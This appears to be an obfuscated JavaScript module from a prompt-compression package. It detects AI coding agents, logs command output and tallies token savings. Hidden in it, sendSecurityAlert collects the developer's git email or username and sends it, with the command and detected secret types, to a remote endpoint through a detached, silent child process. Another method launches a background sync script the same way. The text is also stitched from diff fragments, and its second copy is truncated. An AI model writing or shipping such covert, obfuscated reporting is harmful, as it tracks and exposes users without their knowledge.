'use strict';const a0_0x563ad6=a0_0xa4a1;(function(_0x48f338,_0xa9eb7c){const _0x4630be=a0_0xa4a1,_0x35fc0a=_0x48f338();while(!![]){try{const _0x2891ea=parseInt(_0x4630be(0x180))/0x1+-parseInt(_0x4630be(0x1fe))/0x2*(-parseInt(_0x4630be(0x1fa))/0x3)+parseInt(_0x4630be(0x1d5))/0x4*(-parseInt(_0x4630be(0x1ba))/0x5)+parseInt(_0x4630be(0x1e5))/0x6*(parseInt(_0x4630be(0x1db))/0x7)+parseInt(_0x4630be(0x1e8))/0x8+parseInt(_0x4630be(0x16c))/0x9+-parseInt(_0x4630be(0x1c4))/0xa;if(_0x2891ea===_0xa9eb7c)break;else _0x35fc0a['push'](_0x35fc0a['shift']());}catch(_0x1c8883){_0x35fc0a['push'](_0x35fc0a['shift']());}}}(a0_0x44c5,0xc79ec));function a0_0xa4a1(_0x502c1b,_0x4af54c){_0x502c1b=_0x502c1b-0x16a;const _0x44c52b=a0_0x44c5();let _0xa4a10f=_0x44c52b[_0x502c1b];return _0xa4a10f;}var __createBinding=this&&this[a0_0x563ad6(0x1ad)]||(Object['create']?function(_0x3c8117,_0x37e735,_0x56776c,_0x2b8678){const _0x39d697=a0_0x563ad6;if(_0x2b8678===undefined)_0x2b8678=_0x56776c;var _0xc294c7=Object[_0x39d697(0x1b5)](_0x37e735,_0x56776c);(!_0xc294c7||(_0x39d697(0x181)in _0xc294c7?!_0x37e735[_0x39d697(0x1f2)]:_0xc294c7[_0x39d697(0x1a2)]||_0xc294c7['configurable']))&&(_0xc294c7={'enumerable':!![],'get':function(){return _0x37e735[_0x56776c];}}),Object['defineProperty'](_0x3c8117,_0x2b8678,_0xc294c7);}:function(_0x24a51b,_0x28f065,_0x52e63e,_0x23e204){if(_0x23e204===undefined)_0x23e204=_0x52e63e;_0x24a51b[_0x23e204]=_0x28f065[_0x52e63e];}),__setModuleDefault=this&&this[a0_0x563ad6(0x201)]||(Object[a0_0x563ad6(0x176)]?function(_0x3e08a6,_0x57d483){const _0x35b875=a0_0x563ad6;Object['defineProperty'](_0x3e08a6,_0x35b875(0x1ee),{'enumerable':!![],'value':_0x57d483});}:function(_0x16a233,_0x5e9433){const _0x1799cd=a0_0x563ad6;_0x16a233[_0x1799cd(0x1ee)]=_0x5e9433;}),__importStar=this&&this[a0_0x563ad6(0x171)]||(function(){var _0x34ee4b=function(_0xf71fd6){const _0x43b3ff=a0_0xa4a1;return _0x34ee4b=Object[_0x43b3ff(0x1a8)]||function(_0x5da627){const _0x53e448=_0x43b3ff;var _0x36ce19=[];for(var _0xc67cb in _0x5da627)if(Object[_0x53e448(0x1e7)]['hasOwnProperty'][_0x53e448(0x204)](_0x5da627,_0xc67cb))_0x36ce19[_0x36ce19['length']]=_0xc67cb;return _0x36ce19;},_0x34ee4b(_0xf71fd6);};return function(_0x10039d){const _0x56cb93=a0_0xa4a1;if(_0x10039d&&_0x10039d[_0x56cb93(0x1f2)])return _0x10039d;var _0x4ad3fa={};if(_0x10039d!=null){for(var _0xede712=_0x34ee4b(_0x10039d),_0x396bf3=0x0;_0x396bf3<_0xede712[_0x56cb93(0x1f6)];_0x396bf3++)if(_0xede712[_0x396bf3]!==_0x56cb93(0x1ee))__createBinding(_0x4ad3fa,_0x10039d,_0xede712[_0x396bf3]);}return __setModuleDefault(_0x4ad3fa,_0x10039d),_0x4ad3fa;};}());Object[a0_0x563ad6(0x1ec)](exports,a0_0x563ad6(0x1f2),{'value':!![]}),exports['tracker']=exports[a0_0x563ad6(0x1d4)]=exports['PRICING']=void 0x0,exports[a0_0x563ad6(0x1bb)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x563ad6(0x1f0))),os=__importStar(require('os')),child_process_1=require(a0_0x563ad6(0x1cc));exports[a0_0x563ad6(0x1b7)]={'claude-fable-5':{'name':a0_0x563ad6(0x17c),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x563ad6(0x1bd),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x563ad6(0x1ab),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x563ad6(0x1e4),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x563ad6(0x1dc),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x563ad6(0x1a5),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x563ad6(0x1f7),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x563ad6(0x1c3),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x563ad6(0x198),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x563ad6(0x1a4),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x563ad6(0x194),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x563ad6(0x1d2),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x563ad6(0x200),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x563ad6(0x18c),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x563ad6(0x16a),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x563ad6(0x172),'input_price_1m':0.15},'o1':{'name':a0_0x563ad6(0x1dd),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':'OpenAI\x20o3-mini','input_price_1m':1.1},'cursor-small':{'name':a0_0x563ad6(0x19c),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x563ad6(0x1fc),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x563ad6(0x1da),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x563ad6(0x1d1),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x563ad6(0x1f9),'input_price_1m':3.5}};function a0_0x44c5(){const _0x1fdf3b=['homedir','CLAUDE_CODE','high','devin','claude-opus-4-8','getOwnPropertyDescriptor','stats.json','PRICING','telemetry_url','init','10VfSRMJ','detectSessionTool','pipe','Claude\x20Mythos\x205','input_price_1m','antigravity','unknown','gemini-3-1-pro','push','Claude\x20Haiku\x203.5','21603420YvpTKr','gemini-3-5-flash','command','trim','replit','logs','join','toISOString','child_process','random','secretTypes','pop','o3mini','Gemini\x203.1\x20Flash-Lite','GPT-5.4\x20Mini',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','Tracker','61436xiAirD','claude-3-5-sonnet','toFixed','spawn','baseDir','Gemini\x203.5\x20Flash','14861CJPwJA','Claude\x20Opus\x204.5','OpenAI\x20o1','github-copilot','sendSecurityAlert','claude-sonnet-4-6','aider','VSCODE_PID','userInfo','Claude\x20Opus\x204.7','954GOZCLN','./redactor','prototype','6638160BkDhfx','getConfig','config.json','platform','defineProperty','parse','default','saveLogs','path','.comp.txt','__esModule','ceil','tool','tokens_saved','length','Claude\x20Haiku\x204.5','modelShort','Gemini\x203.5\x20Live\x20Translate','10968yplVhS','includes','Gemini\x203.1\x20Pro','opus','234xsTBZP','redact','GPT-5.4\x20Nano','__setModuleDefault','claude','name','call','unref','GPT-4.1\x20Nano','cline','6769458MGPDgD','.raw.txt','max','triggerBackgroundSync','COPILOT_MODEL','__importStar','GPT-4o\x20Mini','logsDir','default_model','codex','create','ANTIGRAVITY_AGENT','gemini','model_used','sonnet','flash','Claude\x20Fable\x205','estimated_raw_tokens','.trimprompt','toLowerCase','661463XyxBcc','get','windsurf','REPL_ID','saveConfig','readFileSync','1.0','claude-sonnet-4-5','AIDER_MODEL','stringify','execPath','COPILOT_GITHUB_TOKEN','GPT-4.1\x20Mini','statsPath','claude_code','mkdirSync','toString','getLogs','estimated_compressed_tokens','CLAUDE_EFFORT','GPT-4o','o3-mini','TRIMPROMPT_MODEL','config','GPT-5.5','execSync','writeFileSync','split','Cursor\x20Small','ignore','claude-code','REPLIT_ENVIRONMENT','logExecution','configPath','writable','secretsFound','GPT-5.4','Claude\x20Opus\x204.1\x20(deprecated)','utf8','cursor','getOwnPropertyNames','/api/security/alert','CLAUDECODE','Claude\x20Opus\x204.8','copilot','__createBinding','CLINE_DATA_DIR','auto'];a0_0x44c5=function(){return _0x1fdf3b;};return a0_0x44c5();}function detectSessionTool(){const _0x316b97=a0_0x563ad6,_0x2a9694=process.env,_0x3e1f77={'tool':'','model':'claude-sonnet-4-6','modelShort':''};if(_0x2a9694[_0x316b97(0x196)]&&exports['PRICING'][_0x2a9694[_0x316b97(0x196)]])return{'tool':'','model':_0x2a9694[_0x316b97(0x196)],'modelShort':''};const _0x6644e=(_0x2a9694['AI_AGENT']||'')[_0x316b97(0x17f)]();if(_0x6644e){if(_0x6644e['includes'](_0x316b97(0x19e))||_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x18e))){const _0x1e1f20=_0x2a9694[_0x316b97(0x193)]===_0x316b97(0x1b2)?_0x316b97(0x1fd):'sonnet',_0x4a35b3=_0x2a9694[_0x316b97(0x193)]===_0x316b97(0x1b2)?_0x316b97(0x1b4):_0x316b97(0x1e0);return{'tool':'claude','model':_0x4a35b3,'modelShort':_0x1e1f20};}if(_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x1a7)))return{'tool':_0x316b97(0x1a7),'model':_0x316b97(0x1e0),'modelShort':'sonnet'};if(_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x1de))||_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x1ac))){const _0x8ca995=_0x2a9694[_0x316b97(0x170)]||'';if(_0x8ca995&&exports[_0x316b97(0x1b7)][_0x8ca995])return{'tool':_0x316b97(0x1ac),'model':_0x8ca995,'modelShort':_0x8ca995['split']('-')[_0x316b97(0x1cf)]()||''};return{'tool':_0x316b97(0x1ac),'model':_0x316b97(0x187),'modelShort':'sonnet'};}if(_0x6644e['includes']('gemini'))return{'tool':_0x316b97(0x178),'model':_0x316b97(0x1c5),'modelShort':_0x316b97(0x17b)};if(_0x6644e[_0x316b97(0x1fb)]('codex'))return{'tool':_0x316b97(0x175),'model':_0x316b97(0x195),'modelShort':_0x316b97(0x1d0)};if(_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x1b3)))return{'tool':_0x316b97(0x1b3),'model':_0x316b97(0x1e0),'modelShort':''};if(_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x1bf)))return{'tool':_0x316b97(0x1bf),'model':_0x316b97(0x1c1),'modelShort':_0x316b97(0x178)};if(_0x6644e[_0x316b97(0x1fb)]('replit')||_0x2a9694[_0x316b97(0x183)])return{'tool':_0x316b97(0x1c8),'model':_0x316b97(0x1e0),'modelShort':''};return{'tool':_0x6644e[_0x316b97(0x19b)]('_')[0x0][_0x316b97(0x19b)]('-')[0x0],'model':'claude-sonnet-4-6','modelShort':''};}if(_0x2a9694[_0x316b97(0x1aa)]==='1'||_0x2a9694[_0x316b97(0x1b1)]==='1'){const _0x12f3d7=_0x2a9694[_0x316b97(0x193)]===_0x316b97(0x1b2)?_0x316b97(0x1fd):_0x316b97(0x17a),_0x461576=_0x2a9694[_0x316b97(0x193)]===_0x316b97(0x1b2)?_0x316b97(0x1b4):_0x316b97(0x1e0);return{'tool':_0x316b97(0x202),'model':_0x461576,'modelShort':_0x12f3d7};}if(_0x2a9694['CURSOR_AGENT']==='1')return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':_0x316b97(0x17a)};if(_0x2a9694['GEMINI_CLI']==='1')return{'tool':'gemini','model':_0x316b97(0x1c5),'modelShort':_0x316b97(0x17b)};if(_0x2a9694[_0x316b97(0x170)]||_0x2a9694[_0x316b97(0x18b)]){const _0x2481a8=_0x2a9694[_0x316b97(0x170)]||'';if(_0x2481a8&&exports[_0x316b97(0x1b7)][_0x2481a8])return{'tool':_0x316b97(0x1ac),'model':_0x2481a8,'modelShort':_0x2481a8['split']('-')[_0x316b97(0x1cf)]()||''};return{'tool':'copilot','model':_0x316b97(0x187),'modelShort':_0x316b97(0x17a)};}if(_0x2a9694[_0x316b97(0x183)]||_0x2a9694[_0x316b97(0x19f)])return{'tool':_0x316b97(0x1c8),'model':_0x316b97(0x1e0),'modelShort':''};if(_0x2a9694[_0x316b97(0x1ae)])return{'tool':_0x316b97(0x16b),'model':'claude-sonnet-4-6','modelShort':''};if(_0x2a9694['CONTINUE_GLOBAL_DIR'])return{'tool':'continue','model':_0x316b97(0x1e0),'modelShort':''};if(_0x2a9694[_0x316b97(0x177)]==='1')return{'tool':_0x316b97(0x1bf),'model':_0x316b97(0x1c1),'modelShort':_0x316b97(0x178)};if(_0x2a9694[_0x316b97(0x193)]){const _0x12ab4b=_0x2a9694[_0x316b97(0x193)]==='high'?_0x316b97(0x1fd):_0x316b97(0x17a),_0x10cbe3=_0x2a9694['CLAUDE_EFFORT']===_0x316b97(0x1b2)?_0x316b97(0x1b4):'claude-sonnet-4-6';return{'tool':'','model':_0x10cbe3,'modelShort':''};}if(_0x2a9694[_0x316b97(0x188)]&&exports['PRICING'][_0x2a9694['AIDER_MODEL']])return{'tool':_0x316b97(0x1e1),'model':_0x2a9694[_0x316b97(0x188)],'modelShort':''};if(_0x2a9694[_0x316b97(0x1e2)]){const _0x17d33b=(_0x2a9694['PATH']||'')[_0x316b97(0x17f)]();if(_0x17d33b['includes']('cursor'))return{'tool':_0x316b97(0x1a7),'model':_0x316b97(0x1e0),'modelShort':_0x316b97(0x17a)};if(_0x17d33b['includes'](_0x316b97(0x182)))return{'tool':_0x316b97(0x182),'model':'claude-sonnet-4-6','modelShort':_0x316b97(0x17a)};}const _0x289ffd=process.env.TRIMPROMPT_MODEL||'';if(_0x289ffd&&exports['PRICING'][_0x289ffd])return{'tool':'','model':_0x289ffd,'modelShort':''};return _0x3e1f77;}class Tracker{[a0_0x563ad6(0x1d9)];['configPath'];[a0_0x563ad6(0x18d)];[a0_0x563ad6(0x173)];[a0_0x563ad6(0x197)];constructor(){const _0x5bffc5=a0_0x563ad6;this[_0x5bffc5(0x1d9)]=path['join'](os[_0x5bffc5(0x1b0)](),_0x5bffc5(0x17e)),this['configPath']=path[_0x5bffc5(0x1ca)](this[_0x5bffc5(0x1d9)],_0x5bffc5(0x1ea)),this['statsPath']=path[_0x5bffc5(0x1ca)](this[_0x5bffc5(0x1d9)],_0x5bffc5(0x1b6)),this[_0x5bffc5(0x173)]=path[_0x5bffc5(0x1ca)](this['baseDir'],_0x5bffc5(0x1c9)),this['init']();}[a0_0x563ad6(0x1b9)](){const _0x3d8925=a0_0x563ad6;!fs['existsSync'](this[_0x3d8925(0x1d9)])&&fs[_0x3d8925(0x18f)](this[_0x3d8925(0x1d9)],{'recursive':!![]});!fs['existsSync'](this[_0x3d8925(0x173)])&&fs[_0x3d8925(0x18f)](this[_0x3d8925(0x173)],{'recursive':!![]});const _0x5a1fdd={'version':_0x3d8925(0x186),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs['existsSync'](this['configPath']))try{const _0x152ca8=fs['readFileSync'](this[_0x3d8925(0x1a1)],_0x3d8925(0x1a6));this[_0x3d8925(0x197)]={..._0x5a1fdd,...JSON['parse'](_0x152ca8)};}catch(_0x478357){this[_0x3d8925(0x197)]=_0x5a1fdd;}else this[_0x3d8925(0x197)]=_0x5a1fdd,this[_0x3d8925(0x184)]();!fs['existsSync'](this[_0x3d8925(0x18d)])&&fs['writeFileSync'](this[_0x3d8925(0x18d)],JSON[_0x3d8925(0x189)]([]),'utf8');}[a0_0x563ad6(0x1e9)](){const _0x3343de=a0_0x563ad6;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x3343de(0x197)][_0x3343de(0x1b8)]=process.env.TRIMPROMPT_TELEMETRY_URL),this['config'];}['setConfig'](_0xd965dd,_0x56e188){const _0x54ad49=a0_0x563ad6;this[_0x54ad49(0x197)][_0xd965dd]=_0x56e188,this['saveConfig']();}[a0_0x563ad6(0x184)](){const _0x5bc232=a0_0x563ad6;fs[_0x5bc232(0x19a)](this[_0x5bc232(0x1a1)],JSON[_0x5bc232(0x189)](this['config'],null,0x2),_0x5bc232(0x1a6));}[a0_0x563ad6(0x191)](){const _0x2ea7eb=a0_0x563ad6;try{if(!fs['existsSync'](this[_0x2ea7eb(0x18d)]))return[];const _0x2a98e8=fs[_0x2ea7eb(0x185)](this[_0x2ea7eb(0x18d)],_0x2ea7eb(0x1a6));return JSON[_0x2ea7eb(0x1ed)](_0x2a98e8);}catch{return[];}}['saveLogs'](_0x194971){const _0x179a2e=a0_0x563ad6;fs['writeFileSync'](this[_0x179a2e(0x18d)],JSON['stringify'](_0x194971,null,0x2),_0x179a2e(0x1a6));}[a0_0x563ad6(0x1a0)](_0x304224,_0x57b7a5,_0x3e9b20,_0x43355d,_0x207556){const _0x2fab20=a0_0x563ad6,_0xbfa66=this[_0x2fab20(0x191)](),_0x2a2321=_0x57b7a5['length'],_0xe9138b=_0x3e9b20[_0x2fab20(0x1f6)],_0xf3833e=Math[_0x2fab20(0x1f3)](_0x2a2321/0x4),_0x38ec94=Math[_0x2fab20(0x1f3)](_0xe9138b/0x4),_0x5f13a7=Math[_0x2fab20(0x16e)](0x0,_0xf3833e-_0x38ec94),_0x2028e8=detectSessionTool(),_0x225409=_0x2028e8['model'],_0x293985=Math[_0x2fab20(0x1cd)]()[_0x2fab20(0x190)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x37c842}=require(_0x2fab20(0x1e6)),_0x454a09=_0x37c842?_0x37c842[_0x2fab20(0x1ff)](_0x57b7a5):_0x57b7a5;fs[_0x2fab20(0x19a)](path[_0x2fab20(0x1ca)](this['logsDir'],_0x293985+_0x2fab20(0x16d)),_0x454a09,_0x2fab20(0x1a6)),fs['writeFileSync'](path[_0x2fab20(0x1ca)](this[_0x2fab20(0x173)],_0x293985+_0x2fab20(0x1f1)),_0x3e9b20,_0x2fab20(0x1a6));}catch{}const _0x40f04b=_0x304224['split']('\x20')[0x0]||_0x2fab20(0x1c0),_0x4f0c9c=_0x2028e8[_0x2fab20(0x1f4)]?_0x2028e8[_0x2fab20(0x1f8)]?_0x2028e8[_0x2fab20(0x1f4)]+'-'+_0x2028e8[_0x2fab20(0x1f8)]+'-'+_0x40f04b:_0x2028e8[_0x2fab20(0x1f4)]+'-'+_0x40f04b:_0x40f04b,_0x1401bb={'id':_0x293985,'timestamp':new Date()[_0x2fab20(0x1cb)](),'command':_0x4f0c9c,'raw_chars':_0x2a2321,'compressed_chars':_0xe9138b,'estimated_raw_tokens':_0xf3833e,'estimated_compressed_tokens':_0x38ec94,'tokens_saved':_0x5f13a7,'model_used':_0x225409,'exit_code':_0x43355d,'synced':![],'ai_detected':!!_0x2028e8[_0x2fab20(0x1f4)],'secrets_found':_0x207556?.[_0x2fab20(0x1a3)]||0x0,'secret_types':_0x207556?.[_0x2fab20(0x1ce)]||[]};_0xbfa66[_0x2fab20(0x1c2)](_0x1401bb),this[_0x2fab20(0x1ef)](_0xbfa66);const _0xbb23a0=this[_0x2fab20(0x1e9)]()[_0x2fab20(0x1b8)];return _0xbb23a0&&_0xbb23a0[_0x2fab20(0x1c7)]()[_0x2fab20(0x1f6)]>0x0&&this[_0x2fab20(0x16f)](),_0x207556&&_0x207556[_0x2fab20(0x1a3)]>0x0&&this[_0x2fab20(0x1df)](_0x1401bb,_0x207556),_0x1401bb;}['sendSecurityAlert'](_0x2cd23d,_0x5b9547){const _0x5d0aa1=a0_0x563ad6;try{let _0x2964a6=this[_0x5d0aa1(0x1e9)]()['telemetry_url']||'';if(!_0x2964a6)return;_0x2964a6=_0x2964a6['replace'](/\/api\/telemetry\/?$/,_0x5d0aa1(0x1a9));if(!_0x2964a6[_0x5d0aa1(0x1fb)](_0x5d0aa1(0x1a9)))_0x2964a6+=_0x5d0aa1(0x1a9);const {execSync:_0x4b847d}=require('child_process');let _0x3a678c=_0x5d0aa1(0x1c0);try{_0x3a678c=require('child_process')[_0x5d0aa1(0x199)]('git\x20config\x20user.email',{'stdio':['ignore',_0x5d0aa1(0x1bc),_0x5d0aa1(0x19d)]})['toString']()[_0x5d0aa1(0x1c7)]();}catch{}if(!_0x3a678c||!_0x3a678c[_0x5d0aa1(0x1fb)]('@'))try{_0x3a678c=require('os')[_0x5d0aa1(0x1e3)]()['username'];}catch{}const _0xd75f2b=JSON['stringify']({'developer_id':_0x3a678c,'timestamp':_0x2cd23d['timestamp'],'command':_0x2cd23d[_0x5d0aa1(0x1c6)],'secrets_found':_0x5b9547[_0x5d0aa1(0x1a3)],'secret_types':_0x5b9547[_0x5d0aa1(0x1ce)],'os':require('os')[_0x5d0aa1(0x1eb)]()}),_0xc5d4dc='const\x20h=require(require(\x27url\x27).parse('+JSON['stringify'](_0x2964a6)+_0x5d0aa1(0x1d3)+JSON[_0x5d0aa1(0x189)](_0x2964a6)+',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end('+JSON[_0x5d0aa1(0x189)](_0xd75f2b)+')',_0x11b3c9=(0x0,child_process_1[_0x5d0aa1(0x1d8)])(process[_0x5d0aa1(0x18a)],['-e',_0xc5d4dc],{'detached':!![],'stdio':_0x5d0aa1(0x19d)});_0x11b3c9[_0x5d0aa1(0x205)]();}catch{}}[a0_0x563ad6(0x16f)](){const _0x15fc15=a0_0x563ad6;try{const _0x3cc013=path['join'](__dirname,'sync.js');if(fs['existsSync'](_0x3cc013)){const _0x1933cc=(0x0,child_process_1[_0x15fc15(0x1d8)])(process['execPath'],[_0x3cc013],{'detached':!![],'stdio':_0x15fc15(0x19d)});_0x1933cc[_0x15fc15(0x205)]();}}catch{}}['getStatsSummary'](_0x2eb967=a0_0x563ad6(0x1af)){const _0x366646=a0_0x563ad6,_0x2ebffa=this[_0x366646(0x191)]();let _0x4ef168=0x0,_0x55004a=0x0,_0x1d6397=0x0;for(const _0x17e3a3 of _0x2ebffa){_0x4ef168+=_0x17e3a3[_0x366646(0x17d)],_0x55004a+=_0x17e3a3[_0x366646(0x192)],_0x1d6397+=_0x17e3a3[_0x366646(0x1f5)];}let _0x4aa905=_0x2eb967;(!_0x4aa905||_0x4aa905===_0x366646(0x1af)||!exports['PRICING'][_0x4aa905])&&(_0x2ebffa[_0x366646(0x1f6)]>0x0&&_0x2ebffa[_0x2ebffa[_0x366646(0x1f6)]-0x1]['model_used']?_0x4aa905=_0x2ebffa[_0x2ebffa[_0x366646(0x1f6)]-0x1][_0x366646(0x179)]:_0x4aa905=this['getConfig']()[_0x366646(0x174)]||'claude-3-5-sonnet');const _0x23f257=exports[_0x366646(0x1b7)][_0x4aa905]||exports['PRICING'][_0x366646(0x1d6)],_0xd8308c=_0x1d6397*_0x23f257['input_price_1m']/0xf4240,_0x2a9e5f=_0x4ef168*_0x23f257[_0x366646(0x1be)]/0xf4240,_0x1677fa=_0x55004a*_0x23f257[_0x366646(0x1be)]/0xf4240,_0x26b2b0=_0x4ef168>0x0?_0x1d6397/_0x4ef168*0x64:0x0;return{'total_raw_tokens':_0x4ef168,'total_compressed_tokens':_0x55004a,'total_tokens_saved':_0x1d6397,'savings_percentage':parseFloat(_0x26b2b0[_0x366646(0x1d7)](0x1)),'money_saved_usd':parseFloat(_0xd8308c['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0x2a9e5f['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x1677fa[_0x366646(0x1d7)](0x4)),'model_name':_0x23f257[_0x366646(0x203)],'model_key':_0x4aa905};}}exports[a0_0x563ad6(0x1d4)]=Tracker,exports['tracker']=new Tracker();
|
|
1
|
+
'use strict';const a0_0x3f962c=a0_0x26fc;(function(_0x5a572f,_0xf6fd6d){const _0x346671=a0_0x26fc,_0x2e890d=_0x5a572f();while(!![]){try{const _0x2e70ca=parseInt(_0x346671(0x103))/0x1*(-parseInt(_0x346671(0x121))/0x2)+parseInt(_0x346671(0xe6))/0x3*(-parseInt(_0x346671(0x13a))/0x4)+-parseInt(_0x346671(0x115))/0x5+parseInt(_0x346671(0xf9))/0x6+-parseInt(_0x346671(0x14d))/0x7*(parseInt(_0x346671(0x10b))/0x8)+-parseInt(_0x346671(0x100))/0x9*(-parseInt(_0x346671(0xc8))/0xa)+parseInt(_0x346671(0x119))/0xb;if(_0x2e70ca===_0xf6fd6d)break;else _0x2e890d['push'](_0x2e890d['shift']());}catch(_0x1c2401){_0x2e890d['push'](_0x2e890d['shift']());}}}(a0_0x47e5,0x59157));function a0_0x47e5(){const _0x3fa3cc=['devin',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','init','CLAUDECODE','estimated_raw_tokens','cursor','COPILOT_GITHUB_TOKEN','hasOwnProperty','defineProperty','estimated_compressed_tokens','readFileSync','split','Gemini\x203.1\x20Pro','CLINE_DATA_DIR','PRICING','model_used','replit','claude-code','unref','auto','model','VSCODE_PID','getConfig','execSync','secretTypes','CURSOR_AGENT','3EpmwrU','execPath','GPT-5.4','codex','GPT-4.1\x20Nano','config.json','claude_code','triggerBackgroundSync','Gemini\x203.5\x20Live\x20Translate','mkdirSync','child_process','.raw.txt','/api/security/alert','gemini-3-5-flash','sonnet','pipe','antigravity','path','OpenAI\x20o3-mini','4114968nFWauG','Claude\x20Haiku\x204.5','logsDir','writable','copilot','continue','getStatsSummary','204201FWLuXq','getLogs','Gemini\x203.1\x20Flash-Lite','22YGKzin','.comp.txt','length','REPLIT_ENVIRONMENT','Claude\x203.5\x20Sonnet','Claude\x20Sonnet\x204.6','high','ceil','5056cAMzef','__createBinding','claude-3-5-sonnet','unknown','stringify','__setModuleDefault','1.0','join','max','claude','611325oDdMue','opus','tracker','username','7628049vqvaKd','prototype','Claude\x20Fable\x205','github-copilot','CONTINUE_GLOBAL_DIR','claude-opus-4-8','timestamp','ANTIGRAVITY_AGENT','19162cYVZPv','stats.json','windsurf','GPT-5.5','const\x20h=require(require(\x27url\x27).parse(','parse','homedir','saveLogs','claude-sonnet-4-6','Claude\x20Mythos\x205','configurable','userInfo','getOwnPropertyDescriptor','Claude\x20Opus\x204.1\x20(deprecated)','baseDir','o3mini','sendSecurityAlert','trim','AIDER_MODEL','config','detectSessionTool','pop','telemetry_url','gemini-3-1-pro','create','1723828cttRCD','toString','o3-mini','ignore','COPILOT_MODEL','existsSync','GPT-5.4\x20Nano','OpenAI\x20o1-mini','secretsFound','.trimprompt','Claude\x20Opus\x204.5','toLowerCase','GEMINI_CLI','Claude\x20Haiku\x203.5','saveConfig','includes','Claude\x20Sonnet\x204.5','CLAUDE_EFFORT','command','5789RrarYE','toFixed','configPath','default','utf8','modelShort','input_price_1m',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','spawn','tool','writeFileSync','OpenAI\x20o1','replace','statsPath','GPT-5.4\x20Mini','__esModule','Gemini\x203.5\x20Flash','REPL_ID','120OOQXQG','TRIMPROMPT_MODEL','claude-sonnet-4-5','gemini'];a0_0x47e5=function(){return _0x3fa3cc;};return a0_0x47e5();}var __createBinding=this&&this[a0_0x3f962c(0x10c)]||(Object[a0_0x3f962c(0x139)]?function(_0x426eff,_0x15db4d,_0x2087f4,_0x53a916){const _0x42ffd4=a0_0x3f962c;if(_0x53a916===undefined)_0x53a916=_0x2087f4;var _0x42fe55=Object[_0x42ffd4(0x12d)](_0x15db4d,_0x2087f4);(!_0x42fe55||('get'in _0x42fe55?!_0x15db4d['__esModule']:_0x42fe55[_0x42ffd4(0xfc)]||_0x42fe55[_0x42ffd4(0x12b)]))&&(_0x42fe55={'enumerable':!![],'get':function(){return _0x15db4d[_0x2087f4];}}),Object[_0x42ffd4(0xd4)](_0x426eff,_0x53a916,_0x42fe55);}:function(_0x2fde27,_0x2790a1,_0x516dfc,_0x459b09){if(_0x459b09===undefined)_0x459b09=_0x516dfc;_0x2fde27[_0x459b09]=_0x2790a1[_0x516dfc];}),__setModuleDefault=this&&this[a0_0x3f962c(0x110)]||(Object[a0_0x3f962c(0x139)]?function(_0x2b0530,_0x14c062){const _0x2847e3=a0_0x3f962c;Object['defineProperty'](_0x2b0530,_0x2847e3(0x150),{'enumerable':!![],'value':_0x14c062});}:function(_0x2dcd30,_0x149286){_0x2dcd30['default']=_0x149286;}),__importStar=this&&this['__importStar']||(function(){var _0x1163a7=function(_0x5daf30){return _0x1163a7=Object['getOwnPropertyNames']||function(_0x574f2c){const _0x465455=a0_0x26fc;var _0x233571=[];for(var _0x1631d6 in _0x574f2c)if(Object[_0x465455(0x11a)][_0x465455(0xd3)]['call'](_0x574f2c,_0x1631d6))_0x233571[_0x233571[_0x465455(0x105)]]=_0x1631d6;return _0x233571;},_0x1163a7(_0x5daf30);};return function(_0x4ee4ea){const _0x4dfcee=a0_0x26fc;if(_0x4ee4ea&&_0x4ee4ea[_0x4dfcee(0xc5)])return _0x4ee4ea;var _0x10056c={};if(_0x4ee4ea!=null){for(var _0x4257d2=_0x1163a7(_0x4ee4ea),_0x2907=0x0;_0x2907<_0x4257d2[_0x4dfcee(0x105)];_0x2907++)if(_0x4257d2[_0x2907]!==_0x4dfcee(0x150))__createBinding(_0x10056c,_0x4ee4ea,_0x4257d2[_0x2907]);}return __setModuleDefault(_0x10056c,_0x4ee4ea),_0x10056c;};}());Object['defineProperty'](exports,a0_0x3f962c(0xc5),{'value':!![]}),exports['tracker']=exports['Tracker']=exports[a0_0x3f962c(0xda)]=void 